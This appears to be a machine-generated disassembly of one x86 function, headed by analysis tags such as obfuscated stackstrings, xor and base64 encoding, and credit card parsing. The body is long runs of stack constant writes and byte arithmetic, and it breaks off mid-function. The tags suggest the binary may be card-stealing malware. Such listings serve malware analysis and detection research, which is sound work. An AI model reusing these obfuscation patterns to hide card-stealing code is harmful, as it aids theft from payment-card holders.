Function at 0x401950
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Parse credit card information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xb840
call fcn.004a0070
push esi
mov byte [ebp - 0x169e], 0x6f
mov byte [ebp - 0xb615], 0xfe
mov dword [ebp - 0x4468], 0x416e
mov dword [ebp - 0x2d8c], 0x205
mov dword [ebp - 0x2d84], 0x3f05
mov dword [ebp - 0x168c], 0x3526
mov dword [ebp - 0x9f08], 0xf17
mov dword [ebp - 0x3908], 0x1a03
mov eax, 0x5c2
mov word [ebp - 0x7d58], ax
mov dword [ebp - 0xaa4c], 0xb570
mov dword [ebp - 0xb5fc], 0x4b31
mov dword [ebp - 0x4ef0], 0x1ee2
mov byte [ebp - 0xb35], 0xe3
mov dword [ebp - 0x38e8], 0x53f1
mov ecx, 0x97
mov word [ebp - 0xaa44], cx
mov dword [ebp - 0x5a48], 0x76f0
mov byte [ebp - 0xaa2d], 0x77
mov dword [ebp - 0x9ed0], 0x4a35
mov dword [ebp - 0x4ed0], 0x60fb
mov edx, 0x309
mov word [ebp - 0x66e8], dx
mov dword [ebp - 0x441c], 0x60de
mov dword [ebp - 0x9434], 0x5c94
mov dword [ebp - 0xae4], 0x1489
mov dword [ebp - 0xaa1c], 0x182f
mov byte [ebp - 0x2d31], 0x88
mov dword [ebp - 0x7cfc], 0x498f
mov dword [ebp - 0x7198], 0xccd7
mov eax, 0xc68
mov word [ebp - 0xaa14], ax
mov byte [ebp - 0x2d2a], 0xc6
mov dword [ebp - 0x7188], 0xd5f0
mov dword [ebp - 0x4404], 0x68cd
mov dword [ebp - 0x43f8], 0x5f2d
mov dword [ebp - 0x3894], 0x1d51
mov dword [ebp - 0xab0], 0x79f1
mov dword [ebp - 0x4e9c], 0x5d52
mov ecx, 0x84c
mov word [ebp - 0x43f4], cx
mov dword [ebp - 0x3890], 0x3649
mov byte [ebp - 0x9e8d], 0x12
mov dword [ebp - 0xb59c], 0x291d
mov dword [ebp - 0xa88], 0x36d5
mov dword [ebp - 0x43d8], 0x34ab
mov byte [ebp - 0x7cc9], 0x69
mov edx, 0x516
mov word [ebp - 0x2cf0], dx
mov dword [ebp - 0x9e68], 0x605f
mov dword [ebp - 0x7140], 0xa38
mov dword [ebp - 0x3864], 0x1416
mov dword [ebp - 0x7130], 0x5fe4
mov dword [ebp - 0x9e50], 0xfb5
mov dword [ebp - 0xa60], 0xd6ac
mov dword [ebp - 0x15c8], 0x36ef
mov byte [ebp - 0x213d], 0x5a
mov dword [ebp - 0x6644], 0x6475
mov eax, 0x7e8
mov word [ebp - 0x15a8], ax
mov dword [ebp - 0x2110], 0x4a0c
mov dword [ebp - 0x6620], 0x79ef
mov ecx, 0xd84
mov word [ebp - 0x1594], cx
mov dword [ebp - 0x7c5c], 0x5f9d
mov dword [ebp - 0x6608], 0x6ddb
mov byte [ebp - 0x20f1], 0xee
mov byte [ebp - 0x7c55], 0x68
mov edx, 0x379
mov word [ebp - 0x6600], dx
mov eax, 0x4ad
mov word [ebp - 0x65dc], ax
mov ecx, 0x221
mov word [ebp - 0x65cc], cx
mov dword [ebp - 0x3814], 0x2be9
mov byte [ebp - 0x1556], 0xf9
mov dword [ebp - 0xa95c], 0xea03
mov dword [ebp - 0x65b8], 0x4494
mov dword [ebp - 0x3808], 0x3379
mov edx, 0xc38
mov word [ebp - 0xa950], dx
mov dword [ebp - 0x1554], 0x2331
mov eax, 0x10c
mov word [ebp - 0x5948], ax
mov ecx, 0x6d5
mov word [ebp - 0xb4e4], cx
mov byte [ebp - 0x9c9], 0xcc
mov dword [ebp - 0x7c18], 0x424f
mov byte [ebp - 0x37d9], 0x92
mov byte [ebp - 0x20a5], 0x15
mov dword [ebp - 0xa91c], 0xd83e
mov byte [ebp - 0x7bf1], 0xca
mov dword [ebp - 0x37cc], 0xb0d0
mov byte [ebp - 0x9d71], 0x60
mov edx, 0x69f
mov word [ebp - 0x1504], dx
mov byte [ebp - 0x7be1], 0x60
mov byte [ebp - 0x981], 0x8e
mov dword [ebp - 0x4d9c], 0x713
mov dword [ebp - 0x884c], 0x6843
mov dword [ebp - 0x7bd0], 0x94f9
mov eax, 0x6f9
mov word [ebp - 0x58e0], ax
mov byte [ebp - 0x14e1], 0xbb
mov byte [ebp - 0x705d], 0x19
mov byte [ebp - 0x205d], 0xde
mov dword [ebp - 0x7b9c], 0x1432
mov byte [ebp - 0x376d], 0xbf
mov dword [ebp - 0xa8b4], 0x1d8a
mov dword [ebp - 0x9d18], 0x3620
mov dword [ebp - 0x701c], 0x1bf9
mov dword [ebp - 0x202c], 0xf99
mov dword [ebp - 0x92e8], 0xdb5
mov ecx, 0x79e
mov word [ebp - 0x4d40], cx
mov byte [ebp - 0x1481], 0x88
mov dword [ebp - 0x200c], 0x234e
mov dword [ebp - 0x1478], 0xe9c7
mov edx, 0x63f
mov word [ebp - 0x900], dx
mov dword [ebp - 0x4d1c], 0x4061
mov eax, 0xc
mov word [ebp - 0x8f4], ax
mov dword [ebp - 0x92c0], 0x5e5e
mov byte [ebp - 0x92b5], 0x7e
mov byte [ebp - 0x87c9], 7
mov dword [ebp - 0x4260], 0xe58f
mov byte [ebp - 0x9ccd], 0x6b
mov dword [ebp - 0x1fd8], 0x138b
mov byte [ebp - 0xa84d], 0x82
mov dword [ebp - 0x64c8], 0x2b8
mov dword [ebp - 0x9294], 0x3f0a
mov dword [ebp - 0x9cc4], 0x3b73
mov dword [ebp - 0x9290], 0x1848
mov byte [ebp - 0x9289], 0xa3
mov dword [ebp - 0x878c], 0xcc4d
mov dword [ebp - 0x4ce8], 0x8d82
mov dword [ebp - 0x7b28], 0x208e
mov ecx, 0x154
mov word [ebp - 0x9cb4], cx
mov dword [ebp - 0x6fbc], 0x33be
mov dword [ebp - 0x7b0c], 0x6498
mov dword [ebp - 0x36d8], 0xc0c5
mov dword [ebp - 0x8768], 0x781c
mov byte [ebp - 0x7af5], 0x35
mov dword [ebp - 0x2afc], 0x40b3
mov dword [ebp - 0x36c8], 0x6c51
mov edx, 0x5bf
mov word [ebp - 0x4208], dx
mov byte [ebp - 0x4cb5], 0x1b
mov byte [ebp - 0x9c6d], 0x55
mov byte [ebp - 0x2ad1], 0x69
mov eax, 0x53f
mov word [ebp - 0x644c], ax
mov byte [ebp - 0x6445], 4
mov ecx, 0xa35
mov word [ebp - 0x57f4], cx
mov byte [ebp - 0x9c5d], 0x34
mov edx, 0x11
mov word [ebp - 0x2ac8], dx
mov eax, 0x479
mov word [ebp - 0x6f78], ax
mov ecx, 0x117
mov word [ebp - 0xb3a8], cx
mov dword [ebp - 0xb3a0], 0x7b70
mov dword [ebp - 0x86f8], 0xd30
mov edx, 0x227
mov word [ebp - 0x4c7c], dx
mov byte [ebp - 0x9c29], 0x53
mov dword [ebp - 0x1f34], 0x9bd5
mov dword [ebp - 0x41ac], 0x122b
mov eax, 0x18c
mov word [ebp - 0x9c24], ax
mov ecx, 0x608
mov word [ebp - 0x86c8], cx
mov dword [ebp - 0x820], 0x377f
mov dword [ebp - 0x5780], 0x7f3d
mov edx, 0x9e4
mov word [ebp - 0xa77c], dx
mov dword [ebp - 0x3644], 0x2bbe
mov dword [ebp - 0x2a60], 0x3c21
mov dword [ebp - 0x86b4], 0xafc6
mov dword [ebp - 0xb354], 0x9702
mov dword [ebp - 0xb34c], 0xb143
mov byte [ebp - 0x7a41], 0x61
mov dword [ebp - 0x13a0], 0x7ae7
mov dword [ebp - 0x7a40], 0x5d85
mov eax, 0x907
mov word [ebp - 0x9bd4], ax
mov byte [ebp - 0x6371], 0x4c
mov dword [ebp - 0x9170], 0x6c96
mov ecx, 0x8e0
mov word [ebp - 0x3628], cx
mov dword [ebp - 0x3614], 0x2c1f
mov byte [ebp - 0x360d], 0x50
mov byte [ebp - 0x8665], 0x7c
mov byte [ebp - 0x8659], pe_nt_image_headers32
mov dword [ebp - 0x9150], 0xa41f
mov dword [ebp - 0x790], 0x2a95
mov dword [ebp - 0x6eb4], 0xba0c
mov edx, 0xb84
mov word [ebp - 0x35dc], dx
mov dword [ebp - 0x35d8], 0x8944
mov dword [ebp - 0x2a0c], 0x35b0
mov eax, 0xf82
mov word [ebp - 0x570c], ax
mov dword [ebp - 0xa6f8], 0x4b24
mov dword [ebp - 0x79cc], 0x3740
mov ecx, 0xfa3
mov word [ebp - 0xa6ec], cx
mov dword [ebp - 0x1e90], 0x57de
mov edx, 0x2d9
mov word [ebp - 0xb2cc], dx
mov dword [ebp - 0x6e8c], 8
mov dword [ebp - 0x29d0], 0x237d
mov dword [ebp - 0x9b78], 0x3d2a
mov dword [ebp - 0x29c0], 0x6786
mov eax, 0x68
mov word [ebp - 0x9b68], ax
mov dword [ebp - 0x3578], 0x35c1
mov dword [ebp - 0x29b0], 0x3f51
mov dword [ebp - 0x4b94], 0x743d
mov byte [ebp - 0x1e66], 0xf7
mov dword [ebp - 0x9100], 0x4559
mov dword [ebp - 0x40e0], 0x6e44
mov dword [ebp - 0x12d4], 0x6040
mov ecx, 0xe4f
mov word [ebp - 0x738], cx
mov byte [ebp - 0x6e45], 0xb5
mov dword [ebp - 0x1e5c], 0xae72
mov byte [ebp - 0x1e55], 0x25
mov dword [ebp - 0xb280], 0xf58
mov byte [ebp - 0x9b39], 0xe7
mov dword [ebp - 0x2994], 0x474d
mov edx, 0x765
mov word [ebp - 0x355c], dx
mov eax, 0xf42
mov word [ebp - 0x6e34], ax
mov byte [ebp - 0x721], 0x74
mov ecx, 0xbda
mov word [ebp - 0x90c4], cx
mov dword [ebp - 0x567c], 0x7e77
mov byte [ebp - 0x6e21], 0xcc
mov dword [ebp - 0x9b20], 0x40aa
mov edx, 0x6b7
mov word [ebp - 0x4b68], dx
mov eax, 0x551
mov word [ebp - 0x4b64], ax
mov dword [ebp - 0xb250], 0x4ec0
mov ecx, 0xb13
mov word [ebp - 0x70c], cx
mov edx, 0x60e
mov word [ebp - 0x1e2c], dx
mov dword [ebp - 0x2974], 0x74c3
mov byte [ebp - 0x4b59], 0xf2
mov dword [ebp - 0x6e04], 0xdb2
mov dword [ebp - 0x9098], 0x923a
mov dword [ebp - 0x4094], 0x2a07
mov eax, 0x25
mov word [ebp - 0x5650], ax
mov ecx, 0x678
mov word [ebp - 0x2958], cx
mov dword [ebp - 0x1268], 0xf669
mov edx, 0x946
mov word [ebp - 0x563c], dx
mov byte [ebp - 0xb21e], 0
mov byte [ebp - 0x1255], 0x67
mov dword [ebp - 0xa620], 0x3353
mov dword [ebp - 0x84fc], 0x40e0
mov eax, 0x946
mov word [ebp - 0x1db4], ax
mov dword [ebp - 0xa61c], 0x1aed
mov dword [ebp - 0x4b08], 0xb999
mov byte [ebp - 0x78ee], 0x62
mov dword [ebp - 0x560c], 0x572c
mov dword [ebp - 0x5608], 0x76e
mov byte [ebp - 0x6a9], 0xc
mov dword [ebp - 0xb1f8], 0x59f3
mov ecx, 0x4a7
mov word [ebp - 0x1228], cx
mov dword [ebp - 0x2914], 0x516a
mov byte [ebp - 0x78d5], 0xf4
mov dword [ebp - 0x1220], 0xb1c7
mov dword [ebp - 0x1218], 0xecbb
mov dword [ebp - 0x55dc], 0x413a
mov byte [ebp - 0xb1d9], 0x71
mov byte [ebp - 0x2909], 0x12
mov dword [ebp - 0x6db8], 0x48f4
mov edx, 0x169
mov word [ebp - 0x9aa8], dx
mov dword [ebp - 0x9aa4], 0x6358
mov dword [ebp - 0x84b0], 0x3063
mov eax, 0x76
mov word [ebp - 0x28f4], ax
mov ecx, 0xef9
mov word [ebp - 0x346c], cx
mov dword [ebp - 0x9004], 0x6c24
mov dword [ebp - 0x6db0], 0x6c23
mov byte [ebp - 0x11da], 0x32
mov edx, 0x194
mov word [ebp - 0x28b8], dx
mov eax, 0xc2
mov word [ebp - 0x9a74], ax
mov dword [ebp - 0x8fec], 0x2c09
mov ecx, 0x5c7
mov word [ebp - 0x28ac], cx
mov byte [ebp - 0x6d86], 0x67
mov dword [ebp - 0x1d1c], 0x9aca
mov dword [ebp - 0x2894], 0x1e69
mov dword [ebp - 0x1d14], 0x7416
mov dword [ebp - 0x61e8], 0x2f79
mov byte [ebp - 0x1cf5], 0xe6
mov edx, 0x31f
mov word [ebp - 0xa584], dx
mov byte [ebp - 0x340a], 0x79
mov dword [ebp - 0x3f8c], 0x8429
mov dword [ebp - 0xa570], 0x3743
mov dword [ebp - 0x4a7c], 0x7acb
mov eax, 0x404
mov word [ebp - 0x1190], ax
mov dword [ebp - 0x7850], 0x3b18
mov ecx, 0x5ab
mov word [ebp - 0x5534], cx
mov byte [ebp - 0x611], 3
mov dword [ebp - 0x7834], 0x3a80
mov dword [ebp - 0x5524], 0x1f53
mov byte [ebp - 0x1cb5], 0x5f
mov dword [ebp - 0x3f54], 0xcba3
mov byte [ebp - 0x5f5], 0xa
mov dword [ebp - 0x5f0], 0xcbea
mov byte [ebp - 0x5501], 0x32
mov dword [ebp - 0x781c], 0x52b8
mov dword [ebp - 0x1148], 0x4618
mov dword [ebp - 0x6170], 0x1fdb
mov byte [ebp - 0x5d9], 0x6f
mov byte [ebp - 0xa51e], 0xb5
mov byte [ebp - 0x1c85], 0x55
mov byte [ebp - 0x54e5], 0x3e
mov dword [ebp - 0x83c4], 0x2547
mov byte [ebp - 0x1c65], 0x66
mov dword [ebp - 0xa504], 0xc293
mov edx, 0x86
mov word [ebp - 0xb0b4], dx
mov eax, 0x643
mov word [ebp - 0x3f00], ax
mov dword [ebp - 0x6cc8], 0x405c
mov dword [ebp - 0x6cbc], 0xa44
mov byte [ebp - 0x60ed], 0x54
mov dword [ebp - 0x49e4], 0x13ca
mov byte [ebp - 0x6c9d], 0x2f
mov dword [ebp - 0x49cc], 0x11f0
mov dword [ebp - 0x6c8c], 0xfd02
mov byte [ebp - 0x3eb5], 0x52
mov ecx, 0x8bb
mov word [ebp - 0x1098], cx
mov edx, 0x149
mov word [ebp - 0xa4a8], dx
mov dword [ebp - 0x834c], 0xb380
mov dword [ebp - 0x3eb0], 0x7588
mov eax, 0x467
mov word [ebp - 0x554], ax
mov ecx, 0xbd8
mov word [ebp - 0xa484], cx
mov byte [ebp - 0xb03d], 0x6f
mov dword [ebp - 0x6c60], 0xdad
mov dword [ebp - 0x5474], 0x2e1e
mov dword [ebp - 0x994c], 0x623f
mov edx, 0x632
mov word [ebp - 0xa454], dx
mov dword [ebp - 0x1b94], 0xbd26
mov dword [ebp - 0xa424], 0xe29c
mov eax, 0x4fd
mov word [ebp - 0x4960], ax
mov dword [ebp - 0x3e50], 0x949b
mov byte [ebp - 0x9929], 0x7b
mov dword [ebp - 0xa400], 0x9023
mov dword [ebp - 0x7704], 0xfbbb
mov ecx, 0xde
mov word [ebp - 0x6c40], cx
mov byte [ebp - 0xa3ed], 0xf3
mov byte [ebp - 0x272d], 0xc3
mov edx, 0x1b1
mov word [ebp - 0x4dc], dx
mov byte [ebp - 0xafb1], 0x58
mov dword [ebp - 0xffc], 0x913c
mov dword [ebp - 0x3294], 0x321d
mov dword [ebp - 0xff4], 0x2191
mov dword [ebp - 0x2708], 0x760b
mov dword [ebp - 0x76e0], 0x6289
mov dword [ebp - 0xa3d8], 0x4f6a
mov dword [ebp - 0x82a0], 0xb723
mov eax, 0x841
mov word [ebp - 0x98e0], ax
mov dword [ebp - 0xaf6c], 0xf624
mov dword [ebp - 0x3dec], 0x3580
mov dword [ebp - 0x3de8], 0xd34a
mov byte [ebp - 0x489], 0x58
mov dword [ebp - 0xaf64], 0x31e0
mov dword [ebp - 0x1b0c], 0x3edc
mov dword [ebp - 0xfd0], 0x2cb0
mov ecx, 0x627
mov word [ebp - 0x3dac], cx
mov dword [ebp - 0x3da0], 0x52da
mov dword [ebp - 0xa37c], 0x418
mov dword [ebp - 0x988c], 0x3d0f
mov dword [ebp - 0x44c], 0x24f6
mov byte [ebp - 0x8219], 0x23
mov dword [ebp - 0x6ba4], 0x1668
mov edx, 0x185
mov word [ebp - 0x1ae0], dx
mov eax, 0xc92
mov word [ebp - 0x1ad0], ax
mov byte [ebp - 0x6b91], 0x60
mov dword [ebp - 0x1abc], 0x789c
mov ecx, 0xbb
mov word [ebp - 0x424], cx
mov dword [ebp - 0xf74], 0x65ac
mov byte [ebp - 0x6b7d], 0x27
mov edx, 0x294
mov word [ebp - 0x5348], dx
mov dword [ebp - 0x81f8], 0x4793
mov eax, 0x65f
mov word [ebp - 0xf50], ax
mov dword [ebp - 0xf38], 0x3e8c
mov byte [ebp - 0x6b3d], 0x71
mov dword [ebp - 0x1a78], 0xa0ea
mov ecx, 0x8f2
mov word [ebp - 0x2618], cx
mov byte [ebp - 0x483d], 0x2b
mov dword [ebp - 0x7618], 0x7a8c
mov byte [ebp - 0x52f2], 0xc5
mov edx, 0x355
mov word [ebp - 0x8d10], dx
mov dword [ebp - 0x3a8], 0x7627
mov byte [ebp - 0x1a65], 0x6c
mov byte [ebp - 0x8cf9], 1
mov eax, 0x797
mov word [ebp - 0x3d18], ax
mov dword [ebp - 0x1a58], 0x8482
mov ecx, 0x5e7
mov word [ebp - 0xa2e8], cx
mov byte [ebp - 0x8ce9], 0x2b
mov byte [ebp - 0x39b], 0xd8
mov dword [ebp - 0x4818], 0x2fd7
mov byte [ebp - 0xec5], 0x48
mov byte [ebp - 0x39a], 0x23
mov byte [ebp - 0x97f9], 0xd4
mov edx, 0x122
mov word [ebp - 0x75ec], dx
mov byte [ebp - 0xae3d], 0x98
mov dword [ebp - 0x380], 0xd394
mov dword [ebp - 0x97f0], 0x589c
mov eax, 0x694
mov word [ebp - 0xae34], ax
mov dword [ebp - 0x37c], 0x4b84
mov dword [ebp - 0x97e8], 0xd7a1
mov ecx, 0x935
mov word [ebp - 0x8154], cx
mov dword [ebp - 0x97dc], 0x77d5
mov edx, 0x958
mov word [ebp - 0x5ec0], dx
mov byte [ebp - 0xa299], 0x7e
mov dword [ebp - 0xe84], 0x7093
mov dword [ebp - 0x3144], 0x6af1
mov byte [ebp - 0x97c1], 0x55
mov dword [ebp - 0x5284], 0x73cb
mov dword [ebp - 0x8128], 0x79af
mov dword [ebp - 0xe7c], 0x34f7
mov dword [ebp - 0x3cdc], 0x56
mov byte [ebp - 0x47d5], 0xf6
mov byte [ebp - 0x5275], 0x15
mov dword [ebp - 0x6a84], 0x453b
mov eax, 0xe94
mov word [ebp - 0x19cc], ax
mov dword [ebp - 0x5e6c], 0x709c
mov dword [ebp - 0x334], 0x7f98
mov ecx, 0x908
mov word [ebp - 0xe50], cx
mov dword [ebp - 0x8c74], 0x12e7
mov edx, 0x6f4
mov word [ebp - 0x19c0], dx
mov dword [ebp - 0x5e44], 0x1980
mov eax, 0x378
mov word [ebp - 0x8c68], ax
mov ecx, 0xd79
mov word [ebp - 0x6a60], cx
mov dword [ebp - 0xe20], 0x41dd
mov dword [ebp - 0xadd0], 0xe934
mov dword [ebp - 0x19a4], 0x509a
mov dword [ebp - 0x19a0], 0x7dde
mov dword [ebp - 0x1994], 0x10f7
mov dword [ebp - 0x4780], 0x5676
mov dword [ebp - 0x6a48], 0x1e4
mov dword [ebp - 0x2528], 0x479b
mov edx, 0x787
mov word [ebp - 0x2524], dx
mov dword [ebp - 0x6a24], 0x18b2
mov dword [ebp - 0x9714], 0x20ad
mov eax, 0x3f7
mov word [ebp - 0x1970], ax
mov ecx, 0xa4c
mov word [ebp - 0x8c20], cx
mov byte [ebp - 0x8c19], 0x87
mov edx, 0x503
mov word [ebp - 0x4750], dx
mov dword [ebp - 0x809c], 0xed6
mov eax, 0x172
mov word [ebp - 0x3c30], ax
mov dword [ebp - 0x51bc], 0x317a
mov ecx, 0x736
mov word [ebp - 0x96fc], cx
mov dword [ebp - 0x4738], 0x6369
mov edx, 0x38
mov word [ebp - 0x194c], dx
mov dword [ebp - 0x5dbc], 0xb650
mov eax, 0x546
mov word [ebp - 0x1948], ax
mov dword [ebp - 0x24e0], 0x105e
mov dword [ebp - 0x69e0], 0x3ee1
mov dword [ebp - 0x24d8], 0x6b07
mov ecx, 0x21
mov word [ebp - 0x4714], cx
mov edx, 0x24c
mov word [ebp - 0x5d98], dx
mov dword [ebp - 0x96e0], 0x1cb7
mov byte [ebp - 0x74ee], 0x16
mov dword [ebp - 0x5d84], 0x67ee
mov byte [ebp - 0x24b9], 0x5b
mov byte [ebp - 0xa1c5], 0xab
mov dword [ebp - 0xa1b8], 0x6f3d
mov byte [ebp - 0x24a5], 0x35
mov dword [ebp - 0xad0c], 0x7433
mov dword [ebp - 0x8bc8], 0x279
mov eax, 0x1fd
mov word [ebp - 0x3bc8], ax
mov dword [ebp - 0x280], 0x7a49
mov byte [ebp - 0x8021], 0xd
mov dword [ebp - 0x3040], 0xc0bb
mov dword [ebp - 0x247c], 0x4cef
mov dword [ebp - 0x69a0], 0x7464
mov dword [ebp - 0x6990], 0x18a5
mov byte [ebp - 0x18d9], 0x9d
mov ecx, 0x8f1
mov word [ebp - 0x697c], cx
mov byte [ebp - 0x46b9], 0x67
mov dword [ebp - 0x8bbc], 0x1bb1
mov byte [ebp - 0x7489], 0x29
mov edx, 0x96
mov word [ebp - 0x18cc], dx
mov dword [ebp - 0x5158], 0x4337
mov eax, 0xae8
mov word [ebp - 0x968c], ax
mov dword [ebp - 0x9688], 0x2eb6
mov dword [ebp - 0x244], 0x79b8
mov dword [ebp - 0x3b90], 0x7b49
mov dword [ebp - 0x5150], 0x2e36
mov dword [ebp - 0x5d44], 0x1065
mov byte [ebp - 0xacb9], 0xc
mov dword [ebp - 0x7478], 0x86ff
mov byte [ebp - 0x244d], 0x8c
mov byte [ebp - 0x7471], 0x4d
mov dword [ebp - 0x6944], 0x52c
mov dword [ebp - 0x7468], 0xd264
mov dword [ebp - 0x7460], 0x51e7
mov ecx, 0x234
mov word [ebp - 0x2ffc], cx
mov byte [ebp - 0x8b8d], 0x65
mov edx, 0xb44
mov word [ebp - 0x2420], dx
mov dword [ebp - 0x9634], 0x38ff
mov eax, 0xcb8
mov word [ebp - 0x7428], ax
mov dword [ebp - 0xac88], 0x18ca
mov dword [ebp - 0x7420], 0xb6c1
mov dword [ebp - 0x3b10], 0xc3e1
mov byte [ebp - 0x3b05], 0x84
mov byte [ebp - 0xac6d], 0xc4
mov byte [ebp - 0x68b9], 0x61
mov ecx, 0x59d
mov word [ebp - 0x23dc], cx
mov edx, 0x64d
mov word [ebp - 0x7f88], dx
mov dword [ebp - 0x7f70], 0x697e
mov eax, 0x2f9
mov word [ebp - 0x5c80], ax
mov dword [ebp - 0x1848], 0x4b44
mov byte [ebp - 0x5c75], 0x31
mov dword [ebp - 0xccc], 0xe46
mov byte [ebp - 0x2f5d], 0x29
mov ecx, 0xd3a
mov word [ebp - 0x2390], cx
mov dword [ebp - 0x50b4], 0x6daa
mov edx, 0x386
mov word [ebp - 0x45e4], dx
mov byte [ebp - 0x236b], 0xf5
mov eax, 0x312
mov word [ebp - 0x181c], ax
mov dword [ebp - 0x738c], 0x58d0
mov dword [ebp - 0x45d8], 0x555
mov dword [ebp - 0x2360], 0xaca
mov dword [ebp - 0xc98], 0x376f
mov ecx, 0x2ba
mov word [ebp - 0x5c3c], cx
mov byte [ebp - 0x7f05], 0x31
mov dword [ebp - 0x9578], 0x19b8
mov dword [ebp - 0xab98], 0x16cc
mov dword [ebp - 0xa068], 0x5073
mov dword [ebp - 0xab8c], 0x6f3d
mov byte [ebp - 0xab85], 0x76
mov byte [ebp - 0x17cd], 0x4d
mov dword [ebp - 0x5bf0], 0x3a80
mov dword [ebp - 0xab74], 0x4cf8
mov dword [ebp - 0xab68], 0x4a7e
mov dword [ebp - 0x5be0], 0xb4e4
mov dword [ebp - 0x7e98], 0x4bfb
mov byte [ebp - 0x4565], 0x4d
mov edx, 0x3a3
mov word [ebp - 0x72f0], dx
mov dword [ebp - 0x2ec4], 0x4136
mov dword [ebp - 0x3a28], 0xc9d2
mov dword [ebp - 0x178c], 0x39a6
mov byte [ebp - 0x5bb5], 0x1c
mov dword [ebp - 0xc20], 0x6178
mov eax, 0x5a9
mov word [ebp - 0x22f0], ax
mov dword [ebp - 0x4540], 0x463d
mov ecx, 0xe26
mov word [ebp - 0xbc], cx
mov byte [ebp - 0x4fed], 0x11
mov edx, 0x391
mov word [ebp - 0x2e74], dx
mov dword [ebp - 0x22c0], 0x3c25
mov dword [ebp - 0x1740], 0x6e9d
mov dword [ebp - 0x4fdc], 0x4394
mov byte [ebp - 0xbf5], 0x3f
mov dword [ebp - 0x7288], 0x6b4d
mov dword [ebp - 0xaafc], 0x2816
mov byte [ebp - 0x2e59], 0x94
mov byte [ebp - 0x727d], 0x52
mov dword [ebp - 0xbe0], 0xba
mov dword [ebp - 0x5b2c], 0xc41b
mov byte [ebp - 0x2e4d], 0x88
mov byte [ebp - 0x67b1], 0x28
mov dword [ebp - 0x39bc], 0xae7
mov eax, 0x220
mov word [ebp - 0x6c], ax
mov dword [ebp - 0x7e10], 0x5a20
mov dword [ebp - 0x94dc], 0x2483
mov dword [ebp - 0x94d4], 0x77ca
mov dword [ebp - 0x4f8c], 0x1efb
mov dword [ebp - 0x44e8], 0x3298
mov dword [ebp - 0x9f98], 0xa1b2
mov byte [ebp - 0x2285], 0x97
mov dword [ebp - 0x6784], 0x50bb
mov dword [ebp - 0x7dfc], 0x1813
mov dword [ebp - 0x4f64], 0x2022
mov byte [ebp - 0x2ded], 0xfe
mov dword [ebp - 0x94a8], 0x3f1f
mov ecx, 0x2e5
mov word [ebp - 0x6768], cx
mov byte [ebp - 0xb7d], 0xc4
mov dword [ebp - 0x4f48], 0x5dc3
mov edx, 0x367
mov word [ebp - 0x4498], dx
mov dword [ebp - 0x224c], 0x9c1a
mov eax, 0xa82
mov word [ebp - 0x9f50], ax
mov byte [ebp - 0x2db1], 0xbe
mov byte [ebp - 0x4a55], 0xd8
mov dword [ebp - 0x14dc], 0x1fc4
movsx ecx, byte [ebp - 0x727d]
sub ecx, 0x5a
mov byte [ebp - 0x727d], cl
mov dword [ebp - 0x99f4], 0x3320
movzx edx, byte [ebp - 0x4a55]
cmp edx, 0x29
jl 0x49f81c
mov eax, dword [ebp - 0x99f4]
sub eax, 0xf
mov dword [ebp - 0x99f4], eax
movsx ecx, byte [ebp - 0x727d]
or ecx, 0xa
mov byte [ebp - 0x727d], cl
movzx edx, byte [ebp - 0x4a55]
sar edx, 1
mov byte [ebp - 0x4a55], dl
movsx eax, byte [ebp - 0x727d]
shl eax, 7
mov byte [ebp - 0x727d], al
movsx ecx, byte [ebp - 0x727d]
xor ecx, 0x27
mov byte [ebp - 0x727d], cl
movsx edx, byte [ebp - 0x727d]
sub edx, 0x73
mov byte [ebp - 0x727d], dl
movsx eax, byte [ebp - 0x727d]
add eax, 0x26
mov byte [ebp - 0x727d], al
movsx ecx, byte [ebp - 0x727d]
and ecx, 0x17
mov byte [ebp - 0x727d], cl
movzx edx, byte [ebp - 0x4a55]
sub edx, 0x65
mov byte [ebp - 0x4a55], dl
movzx eax, byte [ebp - 0x4a55]
add eax, 0xb1
mov byte [ebp - 0x4a55], al
movsx ecx, byte [ebp - 0x727d]
add ecx, 0x33
mov byte [ebp - 0x727d], cl
movsx edx, byte [ebp - 0x727d]
sub edx, 0x75
mov byte [ebp - 0x727d], dl
movzx eax, byte [ebp - 0x4a55]
or eax, 0x79
mov byte [ebp - 0x4a55], al
movzx ecx, byte [ebp - 0x4a55]
shl ecx, 7
mov byte [ebp - 0x4a55], cl
movsx edx, byte [ebp - 0x727d]
sar edx, 2
mov byte [ebp - 0x727d], dl
movzx eax, byte [ebp - 0x4a55]
xor eax, 0x72
mov byte [ebp - 0x4a55], al
movzx ecx, byte [ebp - 0x4a55]
and ecx, 0x63
mov byte [ebp - 0x4a55], cl
movsx edx, byte [ebp - 0x727d]
add edx, 0x16
mov byte [ebp - 0x727d], dl
movsx eax, byte [ebp - 0x727d]
sub eax, 0x5c
mov byte [ebp - 0x727d], al
movsx ecx, byte [ebp - 0x727d]
add ecx, 0x30
mov byte [ebp - 0x727d], cl
movsx edx, byte [ebp - 0x727d]
sub edx, 0x54
mov byte [ebp - 0x727d], dl
movzx eax, byte [ebp - 0x4a55]
and eax, 0xa1
mov byte [ebp - 0x4a55], al
movsx ecx, byte [ebp - 0x727d]
add ecx, 0x33
mov byte [ebp - 0x727d], cl
movsx edx, byte [ebp - 0x727d]
sub edx, 0xa
mov byte [ebp - 0x727d], dl
movsx eax, byte [ebp - 0x727d]
sub eax, 0x2a
mov byte [ebp - 0x727d], al
movsx ecx, byte [ebp - 0x727d]
add ecx, 0x47
mov byte [ebp - 0x727d], cl
movzx edx, byte [ebp - 0x4a55]
xor edx, 0xb9
mov byte [ebp - 0x4a55], dl
movsx eax, byte [ebp - 0x727d]
sar eax, 3
mov byte [ebp - 0x727d], al
movsx ecx, byte [ebp - 0x727d]
or ecx, 0x73
mov byte [ebp - 0x727d], cl
movzx edx, byte [ebp - 0x4a55]
shl edx, 7
mov byte [ebp - 0x4a55], dl
movzx eax, byte [ebp - 0x4a55]
and eax, 0x94
mov byte [ebp - 0x4a55], al
movzx ecx, byte [ebp - 0x4a55]
sub ecx, 0x7b
mov byte [ebp - 0x4a55], cl
movsx edx, byte [ebp - 0x727d]
add edx, 0x38
mov byte [ebp - 0x727d], dl
cmp dword [ebp - 0x99f4], 0x31f4
ja 0x402e63
mov eax, 0x97b
mov word [ebp - 0x1b5c], ax
mov dword [ebp - 0x1fb8], 0xa163
mov dword [ebp - 0x4c18], 0x1159
mov cl, byte [ebp - 0x727d]
mov byte [ebp - 0xb640], cl
cmp byte [ebp - 0xb640], 0x26
je 0x403115
cmp byte [ebp - 0xb640], 0x34
je 0x4030cd
jmp 0x403201
push 0x17
mov edx, dword [ebp - 0xa8f4]
